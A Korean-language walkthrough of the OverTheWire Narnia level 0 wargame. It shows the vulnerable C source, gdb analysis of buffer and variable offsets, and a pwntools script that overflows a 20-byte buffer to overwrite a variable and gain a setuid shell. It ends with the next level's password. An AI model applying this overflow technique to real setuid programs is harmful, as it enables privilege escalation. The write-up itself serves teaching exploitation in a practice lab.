ssh -p 2226 narnia0@narnia.labs.overthewire.org
pw: narnia0
/narnia/ 디렉터리에서 narnia.c파일의 내용을 확인해보자
# narnia0.c
/*
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 2 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
*/
#include <stdio.h>
#include <stdlib.h>
int main(){
long val=0x41414141;
char buf[20];
printf("Correct val's value from 0x41414141 -> 0xdeadbeef!\n");
printf("Here is your chance: ");
scanf("%24s",&buf);
printf("buf: %s\n",buf);
printf("val: 0x%08x\n",val);
if(val==0xdeadbeef){
setreuid(geteuid(),geteuid());
system("/bin/sh");
}
else {
printf("WAY OFF!!!!\n");
exit(1);
}
return 0;
}
scanf 함수에서 스택 오버플로우 취약점이 있는 것을 확인할 수 있고, val 변수의 값을 0xdeadbeef로 덮어씌우면 쉘을 획득할 수 있는 것 같다.
쉘을 획득하기 위해서 필요한 정보는 다음과 같다.
필요한 정보를 얻기위해 gdb로 파일을 분석해보자
narnia0@narnia:/narnia$ mkdir /tmp/narnia_tmp
narnia0@narnia:/narnia$ cp narnia0 /tmp/narnia_tmp/
narnia0@narnia:/narnia$ cd /tmp/narnia_tmp
narnia0@narnia:/tmp/narnia_tmp$
narnia0@narnia:/tmp/narnia_tmp$ gdb -q narnia0
Reading symbols from narnia0...(no debugging symbols found)...done.
(gdb) disas main
Dump of assembler code for function main:
0x0804855b <+0>: push %ebp
0x0804855c <+1>: mov %esp,%ebp
0x0804855e <+3>: push %ebx
0x0804855f <+4>: sub $0x18,%esp
0x08048562 <+7>: movl $0x41414---Type <return> to continue, or q <return> to quit---
141,-0x8(%ebp)
0x08048569 <+14>: push $0x8048690
0x0804856e <+19>: call 0x80483f0 <puts@plt>
0x08048573 <+24>: add $0x4,%esp
0x08048576 <+27>: push $0x80486c3
---Type <return> to continue, or q <return> to quit---
0x0804857b <+32>: call 0x80483d0 <printf@plt>
0x08048580 <+37>: add $0x4,%esp
0x08048583 <+40>: lea -0x1c(%ebp),%eax
0x08048586 <+43>: push %eax
0x08048587 <+44>: push $0x80486d9
---Type <return> to continue, or q <return> to quit---
0x0804858c <+49>: call 0x8048440 <__isoc99_scanf@plt>
0x08048591 <+54>: add $0x8,%esp
0x08048594 <+57>: lea -0x1c(%ebp),%eax
0x08048597 <+60>: push %eax
0x08048598 <+61>: push $0x80486de
---Type <return> to continue, or q <return> to quit---
0x0804859d <+66>: call 0x80483d0 <printf@plt>
0x080485a2 <+71>: add $0x8,%esp
0x080485a5 <+74>: pushl -0x8(%ebp)
0x080485a8 <+77>: push $0x80486e7
0x080485ad <+82>: call 0x80483d---Type <return> to continue, or q <return> to quit---
0 <printf@plt>
0x080485b2 <+87>: add $0x8,%esp
0x080485b5 <+90>: cmpl $0xdeadbeef,-0x8(%ebp)
0x080485bc <+97>: jne 0x80485e3 <main+136>
0x080485be <+99>: call 0x80483e0 <geteuid@plt>
---Type <return> to continue, or q <return> to quit---
0x080485c3 <+104>: mov %eax,%ebx
0x080485c5 <+106>: call 0x80483e0 <geteuid@plt>
0x080485ca <+111>: push %ebx
0x080485cb <+112>: push %eax
0x080485cc <+113>: call 0x8048420 <setreuid@plt>
0x080485d1 <+118>: add $0x8,%es---Type <return> to continue, or q <return> to quit---
p
0x080485d4 <+121>: push $0x80486f4
0x080485d9 <+126>: call 0x8048400 <system@plt>
0x080485de <+131>: add $0x4,%esp
0x080485e1 <+134>: jmp 0x80485f7 <main+156>
---Type <return> to continue, or q <return> to quit---
0x080485e3 <+136>: push $0x80486fc
0x080485e8 <+141>: call 0x80483f0 <puts@plt>
0x080485ed <+146>: add $0x4,%esp
0x080485f0 <+149>: push $0x1
0x080485f2 <+151>: call 0x8048410 <exit@plt>
---Type <return> to continue, or q <return> to quit---
0x080485f7 <+156>: mov $0x0,%eax
0x080485fc <+161>: mov -0x4(%ebp),%ebx
0x080485ff <+164>: leave
0x08048600 <+165>: ret
End of assembler dump.
(gdb)
buf의 위치를 확인하기 위해 main+49에 breakpoint를 걸고, val의 위치를 확인하기 위해 main+90에 breakpoint를 걸자
(gdb) b *main+49
Breakpoint 1 at 0x804858c
(gdb) b *main+90
Breakpoint 2 at 0x80485b5
(gdb) r
Starting program: /tmp/narnia_tmp/narnia0
Correct val's value from 0x41414141 -> 0xdeadbeef!
Breakpoint 1, 0x0804858c in main ()
(gdb)
프로그램을 실행시킨 후 스택을 확인해보자
(gdb) info reg esp
esp 0xffffd694 0xffffd694
(gdb) x/4xw 0xffffd694
0xffffd694: 0x080486d9 0xffffd69c 0x08048631 0xf7fc53dc
(gdb) x/s 0x080486d9
0x80486d9: "%24s"
(gdb)
0x080486d9 주소에 "%24s" 문자열이 저장되어 있으므로 buf의 주소는 0xffffd69c이다.
프로그램을 진행시킨 후에 -0x8(%ebp)의 주소를 확인해보자
(gdb) c
Continuing.
Here is your chance: aaaa
buf: aaaa
val: 0x41414141
Breakpoint 2, 0x080485b5 in main ()
(gdb) info reg ebp
ebp 0xffffd6b8 0xffffd6b8
(gdb) x/4xw 0xffffd6b8 - 0x8
0xffffd6b0: 0x41414141 0x00000000 0x00000000 0xf7e2a286
(gdb)
-0x8(%ebp)에 들어있는 값을 확인해보니 val의 값과 동일하다.
val의 주소는 0xffffd6b0 이다.
buf와 val의 위치를 구했으므로 이제 둘 사이의 바이트 수를 구해보자
(gdb) p 0xffffd6b0 - 0xffffd69c
$1 = 20
(gdb)
필요한 정보를 다 구했으니 이제 페이로드를 작성해보자
#exploit.py
from pwn import *
p = process("/narnia/narnia0")
value = 0xdeadbeef
payload = ''
payload += "A"*20
payload += p32(value)
p.recvline()
p.sendline(payload)
p.interactive()
narnia0@narnia:/tmp/narnia_tmp$ vi exploit.py
narnia0@narnia:/tmp/narnia_tmp$ python exploit.py
[+] Starting local process '/narnia/narnia0': pid 11607
[*] Switching to interactive mode
Here is your chance: buf: AAAAAAAAAAAAAAAAAAAAᆳ�
val: 0xdeadbeef
$ id
uid=14001(narnia1) gid=14000(narnia0) groups=14000(narnia0)
쉘을 획득했다.
id: narnia1
pw: efeidiedae